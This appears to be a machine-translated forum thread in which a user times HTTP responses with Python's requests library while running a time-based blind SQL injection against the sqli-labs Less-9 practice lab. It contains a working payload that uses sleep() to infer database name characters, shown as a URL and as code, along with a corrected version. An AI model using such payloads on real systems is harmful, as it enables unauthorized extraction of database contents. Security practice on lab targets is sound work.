Mesurer le temps de réponse HTTP avec les demandes de la bibliothèque en Python. Suis-je en train de faire?
Je suis en train d'induire un délai artificiel dans la réponse HTTP à partir d'une application web (C'est une technique utilisée pour faire des blind SQL Injection). Si le dessous de la requête HTTP est envoyée à partir d'un navigateur, réponse du serveur web est de retour après 3 secondes(causée par le sommeil(3)):
http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+
Je suis en train de faire la même chose en Python 2.7 utilisation des demandes de la bibliothèque. Le code que j'ai est:
import requests
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip
J'attendais l'aller-retour à 3 secondes, mais au lieu de cela je obtenir les valeurs 0.001371, 0.001616, 0.002228, etc. Je ne suis pas à l'aide de l'écoulement de l'attribut correctement?
OriginalL'auteur user1720897 | 2015-05-25
Vous devez vous connecter pour publier un commentaire.
écoulé mesure le temps entre l'envoi de la demande et de finition de l'analyse de la réponse les en-têtes de, pas jusqu'à ce que la réponse a été transféré.
Si vous voulez mesurer ce temps, vous avez besoin de mesurer vous-même:
requests.get
est un appel bloquant, donc avoirr.content
n'est pas vraiment nécessaire "d'attendre jusqu'à la totalité du contenu a été transféré"oui, vous avez raison, sauf si vous utilisez
stream=True
(la valeur par défaut estFalse
) le contenu sera téléchargé immédiatement, sinonget()
renvoie quand les en-têtes ont été reçues.OriginalL'auteur mata
J'ai compris que ma charge utile doit avoir été
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}
Le dernier caractère '+' dans l'original de la charge utile est passé à l'extrémité arrière de la base de données, ce qui entraîne une défaillance de la syntaxe SQL. Je ne devais pas faire n'importe quel manuel de codage dans la charge utile.
OriginalL'auteur user1720897